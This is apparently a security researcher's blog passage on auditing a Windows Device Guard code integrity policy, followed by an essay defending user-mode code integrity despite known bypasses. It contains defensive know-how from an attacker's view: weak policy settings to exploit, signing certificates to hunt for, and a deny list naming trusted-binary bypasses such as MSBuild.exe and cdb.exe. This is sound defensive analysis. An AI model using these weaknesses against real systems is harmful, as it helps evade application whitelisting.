Hopefully, you'll have the luxury of being able to analyze an orignal CI policy containing all comments and attributes. In some situations, you may not be so lucky and may be forced to obtain an XML policy from a deployed binary policy - SIPolicy.p7b. Comments and some attribtues are stripped from binary policies. CI policy XML can be recovered with ConvertTo-CiPolicy.

Alright. Let's dive into the analysis now. When I audit a code integrity policy, I will start in the following order:
  1. Policy rule analysis
  2. SigningScenario analysis. Signing scenario rules are ultimately generated based on a combination of one or more file rule levels.
  3. UpdatePolicySigner analysis
  4. HvciOptions analysis

Policy Rule Analysis
Policy rules dictate the overall configuration of Device Guard. What will follow is a description of each rule and its implications.

1) Required:Enforce Store Applications

Description: The presence of this setting indicates that code integrity will also be applied to Windows Store/UWP apps.

Implications: It is unlikely that the absence of this rule would lead to a code integrity bypass scenario but in the off-chance an attacker attempted to deploy an unsigned UWP application, Device Guard would prevent it from loading. The actual implementation of this rule is unclear to me and warrants research. For example, if you launch modern calc (Calculator.exe), it is not actually signed. There’s obviously some other layer of enforcement occurring that I don’t currently comprehend.

Note: This rule option is not actually officially documented but it is accessible the Set-RuleOption cmdlet.

2) Enabled:UMCI

Description: The presence of this setting indicates that user mode code integrity is to be enforced. This means that all user-mode code (exe, dll, msi, js, vbs, PowerShell) is subject to enforcement. Compiled binaries (e.g. exe, dll, msi) not conformant to policy will outright fail to load. WSH scripts (JS and VBScript) not conformant to policy will be prevented from instantiating COM objects, and PowerShell scripts/modules not conformant to policy will be placed into Constrained Language mode. The absence of this rule implies that the code integrity policy will only apply to drivers.

Implications: Attackers will need to come armed with UMCI bpasses to circumvent this protection. Myself, along with Casey Smith (@subtee) and Matt Nelson (@enigma0x3) have been doing a lot of research lately in developing UMCI bypasses. To date, we’ve discussed some of these bypasses publicly. As of this writing, we also have several open cases with MSRC addressing many more UMCI issues. Our research has focused on discovering trusted binaries that allow us to execute unsigned code, Device Guard implementation flaws, and PowerShell Constrained Language mode bypasses. We hope to see fixes implemented for all the issues we reported.

Attackers seeking to circumvent Device Guard should be aware of UMCI bypasses as this is often the easiest way to circumvent a Device Guard deployment.

3) Required:WHQL

Description: All drivers must be WHQL signed as indicated by a "Windows Hardware Driver Verification" EKU (1.3.6.1.4.1.311.10.3.5) in their certificate.

Implications: This setting raises the bar for trust and integrity of the drivers that are allowed to load.

4) Disabled:Flight Signing

Description: Flight signed code will be prevented from loading. This should only affect the loading of Windows Insider Preview code.

Implications: It is recommended that this setting be enabled. This will preclude you from running Insider Preview builds, however. Flight signed code does not go through the rigorous testing that code for a general availability release would go through (I say so speculatively).

5) Enabled:Unsigned System Integrity Policy

Description: This setting indicates that Device Guard does not require that the code integrity policy be signed. Code Integrity policy signing is a very effective mitigation against CI policy tampering as it makes it so that only code signing certificates included in the UpdatePolicySigners section are authorized to make CI policy changes.

Implications: An attacker would need to steal one of the approved code signing certificates to make changes therefore, it is critical that that these code signing certificates be well protected. It should go without saying that the certificate used to sign a policy not be present on a system where the code integrity policy is deployed. More generally, no code signing certificates should be present on any Device Guard protected system that are whitelisted per policy.

6) Enabled:Advanced Boot Options Menu

Description: By default, with a code integrity policy deployed, the advanced boot options menu is disabled. The presence of this rule indicates that a user with physical access can access the menu.

Implications: An attacker with physical access will have the ability to remove deployed code integrity policies. If this is a realistic threat for you, then it is critical that BitLocker be deployed and a UEFI password be set. Additionally, since the “Enabled:Unsigned System Integrity Policy” option is set, an attacker could simply replace the existing, deployed code integrity policy with that of their own which permits their their code to execute.

Analysis/recommendations: Policy Rules


After thorough testing had been performed, it would be recommended to
  1. Remove "Enabled:Unsigned System Integrity Policy" and to sign the policy. This is an extremely effective way to prevent policy tampering.
  2. Remove "Enabled:Advanced Boot Options Menu". This is an effective mitigation against certain physical attacks.
  3. If possible, enable "Required:EV Signers". This is likely not possible however since it is likely that all required drivers will not be EV signed.

SigningScenario analysis

At this point, we’re interested in identifying what is whitelisted and what is blacklisted. The most efficient place to start is by analyzing the SigningScenarios section and working our way backwards.

There will only ever be at most two SigningScenarios:

  • ID_SIGNINGSCENARIO_DRIVERS_1 - these rules only apply to drivers
  • ID_SIGNINGSCENARIO_WINDOWS - these rules only apply to user mode code

ID_SIGNINGSCENARIO_DRIVERS_1


The following driver signers are whitelisted:

- ID_SIGNER_S_1_0_0_0_0_0_0_0
  Name: Microsoft Windows Production PCA 2011
  TBS: 4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146
- ID_SIGNER_S_AE_0_0_0_0_0_0_0
  Name: Intel External Basic Policy CA
  TBS: 53B052BA209C525233293274854B264BC0F68B73
- ID_SIGNER_S_AF_0_0_0_0_0_0_0
  Name: Microsoft Windows Third Party Component CA 2012
  TBS: CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46
- ID_SIGNER_S_17C_0_0_0_0_0_0_0
  Name: COMODO RSA Certification Authority
  TBS: 7CE102D63C57CB48F80A65D1A5E9B350A7A618482AA5A36775323CA933DDFCB00DEF83796A6340DEC5EBF7596CFD8E5D
- ID_SIGNER_S_18D_0_0_0_0_0_0_0
  Name: Microsoft Code Signing PCA 2010
  TBS: 121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195
- ID_SIGNER_S_2E0_0_0_0_0_0_0_0
  Name: VeriSign Class 3 Code Signing 2010 CA
  TBS: 4843A82ED3B1F2BFBEE9671960E1940C942F688D
- ID_SIGNER_S_34C_0_0_0_0_0_0_0
  Name: Microsoft Code Signing PCA
  TBS: 27543A3F7612DE2261C7228321722402F63A07DE
- ID_SIGNER_S_34F_0_0_0_0_0_0_0
  Name: Microsoft Code Signing PCA 2011
  TBS: F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E
- ID_SIGNER_S_37B_0_0_0_0_0_0_0
  Name: Microsoft Root Certificate Authority
  TBS: 391BE92883D52509155BFEAE27B9BD340170B76B
- ID_SIGNER_S_485_0_0_0_0_0_0_0
  Name: Microsoft Windows Verification PCA
  TBS: 265E5C02BDC19AA5394C2C3041FC2BD59774F918

TBS description:

The "Name" attribute is derived from the CN of the certificate. Ultimately, Device Guard doesn't validate the CN. In fact, the "Name" attribute is not present in a binary CI policy (i.e. SIPolicy.p7b). Rather, it validates the TBS (ToBeSigned) hash which is basically a hash of the certificate as dictated by the signature algorithm in the certificate (MD5, SHA1, SHA256, SHA384, SHA512). You can infer the hash algorithm used based on the length of the hash. If you're interested to learn how the hash is calculated, I recommend you load Microsoft.Config.CI.Commands.dll in a decompiler and inspect the Microsoft.SecureBoot.UserConfig.Helper.CalculateTBS method.

Signer hashing algorithms used:

SHA1:
 * Intel External Basic Policy CA
 * VeriSign Class 3 Code Signing 2010 CA
 * Microsoft Code Signing PCA
 * Microsoft Root Certificate Authority
 * Microsoft Windows Verification PCA

Note: Microsoft advises against using a SHA1 signature algorithm and is phasing the algorithm out for certificates. See https://aka.ms/sha1. It is likely within the realm of possibility that a non-state actor could generate a certificate with a SHA1 hash collision.

SHA256:
 * Microsoft Windows Production PCA 2011
 * Microsoft Windows Third Party Component CA 2012
 * Microsoft Code Signing PCA 2010
 * Microsoft Code Signing PCA 2011

SHA384:
 * COMODO RSA Certification Authority

Analysis/recommendations: Driver rules


Overall, I would say the the driver rules may be overly permissive. First of all, any driver signed with any of those certificates would be permitted to be loaded.  For example, I would imagine that most, if not all Intel drivers are signed with the same certificate. So, if there was a driver in particular that was vulnerable that had no business on your system, it could be loaded and exploited to gain unsigned kernel code execution. My recommendation for third party driver certificates is that you whitelist each individual required third party driver using the FilePublisher or preferably the WHQLFilePublisher (if the driver happens to be WHQL signed) file rule level. An added benefit of the FilePublisher rule is that the whitelisted driver will only load if the file version is equal or greater than what is specified. This means that if there is an older, known vulnerable version of the driver you need, the old version will not be authorized to load.

Another potential issue that I could speculatively anticipate is with the "Microsoft Windows Third Party Component CA 2012" certificate. My understanding is that this certificate is used for Microsoft to co-sign 3rd party software. Because this certificate seems to be used so heavily by 3rd party vendors, it potentially opens the door to permit a large amount vulnerable software. To mitigate this, you can use the WHQLPublisher or WHQLFilePublisher rule level when creating a code integrity policy. When those options are selected, if an OEM vendor name is associated with a drivers, a CertOemId attribute will be applied to signers. For example, you could use this feature to whitelist only Apple drivers that are cosigned with the "Microsoft Windows Third Party Component CA 2012" certificate.

ID_SIGNINGSCENARIO_WINDOWS


The following user-mode code signers are whitelisted (based on their presence in AllowedSigners):

- ID_SIGNER_S_1_1_0_0_0_0_0_0
   Name: Microsoft Windows Production PCA 2011
   TBS: 4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146
- ID_SIGNER_S_1_1_0
   Name: Intel External Basic Policy CA
   TBS: 53B052BA209C525233293274854B264BC0F68B73
   CertPublisher: Intel(R) Intel_ICG
- ID_SIGNER_S_2_1_0
   Name: Microsoft Windows Third Party Component CA 2012
   TBS: CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46
- ID_SIGNER_S_4_1_0_0_0
   Name: Matthew Graeber
   TBS: B1554C5EEF15063880BB76B347F2215CDB5BBEFA1A0EBD8D8F216B6B93E8906A
- ID_SIGNER_S_19_1_0
   Name: Intel External Basic Policy CA
   TBS: 53B052BA209C525233293274854B264BC0F68B73
   CertPublisher: Intel(R) pGFX
- ID_SIGNER_S_20_1_0
   Name: iKGF_AZSKGFDCS
   TBS: 32656594870EFFE75251652A99B906EDB92D6BB0
   CertPublisher: IntelVPGSigning2016
- ID_SIGNER_S_4E_1_0
   Name: Microsoft Windows Third Party Component CA 2012
   TBS: CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46
- ID_SIGNER_S_65_1_0
   Name: VeriSign Class 3 Code Signing 2010 CA
   TBS: 4843A82ED3B1F2BFBEE9671960E1940C942F688D
   CertPublisher: Logitech
- ID_SIGNER_S_35C_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA
   TBS: 27543A3F7612DE2261C7228321722402F63A07DE
- ID_SIGNER_S_35F_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA 2011
   TBS: F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E
- ID_SIGNER_S_1EA5_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA 2010
   TBS: 121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195
- ID_SIGNER_S_2316_1_0_0_0_0_0_0
   Name: Microsoft Windows Verification PCA
   TBS: 265E5C02BDC19AA5394C2C3041FC2BD59774F918
- ID_SIGNER_S_3D8C_1_0_0_0_0_0_0
   Name: Microsoft Code Signing PCA
   TBS: 7251ADC0F732CF409EE462E335BB99544F2DD40F

The following user-mode code blacklist rules are present (based on their presence inDeniedSigners):

- ID_SIGNER_F_1_0_0_1_0_0
   Name: Microsoft Code Signing PCA
   TBS: 27543A3F7612DE2261C7228321722402F63A07DE
   CertPublisher: Microsoft Corporation
   Associated files:
     1) OriginalFileName: cdb.exe
        MinimumFileVersion: 99.0.0.0
     2) OriginalFileName: kd.exe
        MinimumFileVersion: 99.0.0.0
     3) OriginalFileName: windbg.exe
        MinimumFileVersion: 99.0.0.0
     4) OriginalFileName: MSBuild.exe
        MinimumFileVersion: 99.0.0.0
- ID_SIGNER_F_2_0_0_1_0_0
   Name: Microsoft Code Signing PCA 2010
   TBS: 121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195
   CertPublisher: Microsoft Corporation
   Associated files:
     1) OriginalFileName: cdb.exe
        MinimumFileVersion: 99.0.0.0
     2) OriginalFileName: kd.exe
        MinimumFileVersion: 99.0.0.0
     3) OriginalFileName: windbg.exe
        MinimumFileVersion: 99.0.0.0
- ID_SIGNER_F_3_0_0_1_0_0
   Name: Microsoft Code Signing PCA 2011
   TBS: F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E
   CertPublisher: Microsoft Corporation
   Associated files:
     1) OriginalFileName: MSBuild.exe
        MinimumFileVersion: 99.0.0.0
     2) OriginalFileName: csi.exe
        MinimumFileVersion: 99.0.0.0
- ID_SIGNER_F_4_0_0_1_0_0
   Name: Microsoft Windows Production PCA 2011
   TBS: 4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146
   CertPublisher: Microsoft Windows
   Associated files:
     1) OriginalFileName: MSBuild.exe
        MinimumFileVersion: 99.0.0.0

Analysis/recommendations: User-mode rules

Whoever created this policy is clearly mindful of and actively blocking known UMCI bypasses. The downside is that there have since been additional bypasses reported publicly - e.g. dnx.exe from Matt Nelson (@enigma0x3). As a defender employing application whitelisting solutions, it is critical to stay up to date on current bypasses. If not, you're potentially one trusted binary/script away from further compromise.

You may have noticed what seems like an arbitrary selection of "99.0.0.0" for the minimum file version. You can interpret this as any of the files with matching block rules that have a version number less than 99.0.0.0 will be blocked. It is fairly reasonable to assume that a binary won't exceed version 99.0.0.0 but I've recently seen several files in the hundreds so I now recommend setting MinimumFileVersion for each FilePublisher block rule to 999.999.999.999. Unfortunately, at the time of writing, you cannot block an executable by only its signature and OriginalFileName. I hope this will change in the future.

As for the whitelisted signers, I wouldn't have a ton to recommend. As an attacker though, I might try to find executables/scripts signed with the "Matthew Graeber" certificate. This sounds like it would be an easy thing to do but Microsoft actually does not provide an official means of associating an executable or script to a CI policy rule. Ideally, Microsoft would provide a Test-CIPolicy cmdlet similar to the Test-AppLockerPolicy cmdlet. I'm in the process of writing one now.

Overall, there are no signers that stick out to me as worthy of additional investigation. Obviously, Microsoft signers will need to be permitted (and in a non-restrictive) fashion if OS updates are to be accepted. It appears as thought there is some required Intel software present on the system. If anything, I might try to determine why the Intel software is required.


UpdatePolicySigners analysis

There is only a single UpdatePolicySigner: "Matthew Graeber". So while the effort was made to permit that code signing certificate to sign the policy, the "Enabled:Unsigned System Integrity Policy" policy rule was still set. So considering the intent to sign the policy was there, I would certainly recommend that the "Enabled:Unsigned System Integrity Policy" rule be removed and to start enforcing signed policies. As an attacker, I would also look for the presence of this code signing certificate on the same system. It should go without saying that a whitelisted code signing certificate should never be present on a Device Guard-enabled system that whitelists that certificate.

HvciOptions analysis

HvciOptions is set to "1" indicating that it is enabled and that the system will benefit from additional kernel exploitation protections. I cannot recommend setting HVCI to strict mode (3) yet as it is almost certain that there will be some drivers that are not compliant for strict mode.

Conclusion

I'll state again that this analysis has been subjective. An effective policy on one system that has a particular purpose likely won't be effective on another piece of hardware with a separate purpose. Getting CI policy configuration "right" is indeed a challenge. It takes experience, knowledge of the CI policy schema, and it requires that you apply an attackers mindset when auditing a policy.

It is worth noting that even despite having an extremely locked down policy, the OS is still at the mercy of UMCI bypasses. For this very reason, Device Guard should be merely a component of a layered defense. It is certainly recommended that anti-malware solutions be installed side by side with Device Guard. For example, in a post-exploitation scenario, Device Guard will do nothing about the exfiltration of sensitive data using a simple batch script or PowerShell script operating in constrained language mode.

I will leave the comments section open to encourage discussion about your thoughts on CI policy assessment and how you think this example policy might have additional vulnerabilities. I feel as though I'm breaking new ground here since there is no other information available regarding Device Guard policy audit methodology so I am certainly open to candid feedback.

On the Effectiveness of Device Guard User Mode Code Integrity

Is a security feature with known bypasses pointless?

I felt compelled to answer to this question after seeing several tweets recently claiming that Device Guard User Mode Code Integrity (UMCI) is a pointless security mechanism considering all of the recently reported bypasses. Before specifically diving into UMCI and its merits (or lack thereof), let’s use an analogy in the physical world to put things into perspective - a door.

Consider the door at the front of your home or business. This door helps serve as the primary mechanism to prevent intruders from breaking, entering, and stealing your assets. Let's say it's a solid wood door for the sake of the analogy. How might an attacker go about bypassing it?

  • They could pick the lock
  • They could compromise the latch with a shimming device
  • They could chop the door down with an ax
  • They could compromise the door and the hinges with a battering ram

Now, there are certainly better doors out there. You could purchase a blast door and have it be monitored with a 24/7 armed guard. Is that measure realistic? Maybe. It depends on the value of the assets you want to protect. Realistically, it's probably not worth your money since you suspect that a full frontal assault of enemy tanks is not a part of your threat model.

Does a determined attacker ultimately view the door as a means of preventing them from gaining access to your valuable assets? Of course not. Does the attacker even need to bypass the door? Probably not. They could also:

  • Go through the window
  • Break through a wall
  • Hide in the store during business hours and wait for everyone to leave
  • Submit their resume, get a job, develop trust, and slowly, surreptitiously steal your assets

So, will a door prevent breaches in all cases? Absolutely not. Will it prevent or deter an attacker lacking a certain amount of skill from breaking and entering? Sure. Other than preventing the elements from entering your store, does the locked door serve a purpose? Of course. It is a preventative mechanism suitable for the threat model that you choose to accept or mitigate against. The door is a baseline preventative mechanism employed in conjunction with a layered defense consisting of other preventative (reinforced, locked windows) and detective (motion sensors, video cameras, etc.) measures.




Now let's get back to the comfortable world of computers. Is a preventative security technology completely pointless if there are known bypasses? Specifically, let’s focus on Device Guard user mode code integrity (UMCI) as it’s received a fair amount of attention as of late. Considering all of the public bypasses posted, does it still serve a purpose? I won't answer that question using absolutes. Let me make a few proposals and let you, the reader decide. Consider the following:

1) A bypass that applies to Device Guard UMCI is extremely likely to apply to all application whitelisting solutions. I would argue that Device Guard UMCI goes above and beyond other offerings. For example, UMCI places PowerShell (one of the largest user-mode attack surfaces) into constrained language mode, preventing PowerShell from being used to execute arbitrary, unsigned code. Other whitelisting solutions don’t even consider the attack surface posed by PowerShell. Device Guard UMCI also applies code integrity rules to DLLs. There is no way around this. Other solutions allow for DLL whitelisting but not by default.

2) Device Guard UMCI, as with any whitelisting solution, is extremely effective against post-exploitation activities that are not aware of UMCI bypasses. The sheer amount of attacks that app-whitelisting prevents without any fancy machine learning is astonishing. I can say first hand that every piece of “APT” malware I reversed in a previous gig would almost always drop an unsigned binary to disk. Even in the cases where PowerShell was used, .NET methods were used heavily - something that constrained language mode would have outright prevented.

3) The majority of the "misplaced trust" binaries (e.g. MSBuild.exe, cdb.exe, dnx.exe, rcsi.exe, etc.) can be blocked with Device Guard code integrity policy updates. Will there be more bypass binaries? Of course. Again, these binaries will also likely circumvent all app-whitelisting solutions as well. Does it require an active effort to stay on top of all the bypasses as a defender? Yes. Deal with it.

Now, I along with awesome people like Casey Smith (@subtee) and Matt Nelson (@enigma0x3) have reported our share of UMCI bypasses to Microsoft for which there is no code integrity policy mitigation. We have been in the trenches and have seen first hand just how bad some of the bypasses are. We are desperately holding out hope that Microsoft will come through, issue CVEs, and apply fixes for all of the issues we’ve reported. If they do, that will set a precedent and serve as proof that they are taking UMCI seriously. If not, I will start to empathize a bit more with those who claim that Device Guard is pointless. After all, we’re starting to see more attackers “live off the land” and leverage built-in tools to host their malware. Vendors need to be taking that seriously.

Ultimately, Device Guard UMCI is just another security feature that a defender should consider from a cost/benefit analysis based on threats faced and the assets they need to defend. It will always be vulnerable to bypasses, but raises the baseline bar of security. Going back to the analogy above, a door can always be bypassed but you should be able to detect an attacker breaking in and laying their hands on your valuable assets. So obviously, you would want to use additional security solutions along with Device Guard - e.g. Windows Event Forwarding, an anti-malware solution, and to perform periodic compromise/hunt assessments.

What I’m about to say might be scandalous but I sincerely think that application whitelisting should the new norm. You probably won’t encounter any organizations that don’t employ an anti-malware solution despite the innumerable bypasses. These days, anti-malware solutions are assumed to be a security baseline as I think whitelisting should be despite the innumerable bypasses that will surface over time. Personally, I would ask any defender to seriously consider it and I would encourage all defenders to hold whitelisting solution vendors' feet to the fire and hold them accountable when there are bypasses for which there is no obvious mitigation.


I look forward to your comments here or in a lively debate on Twitter!
❌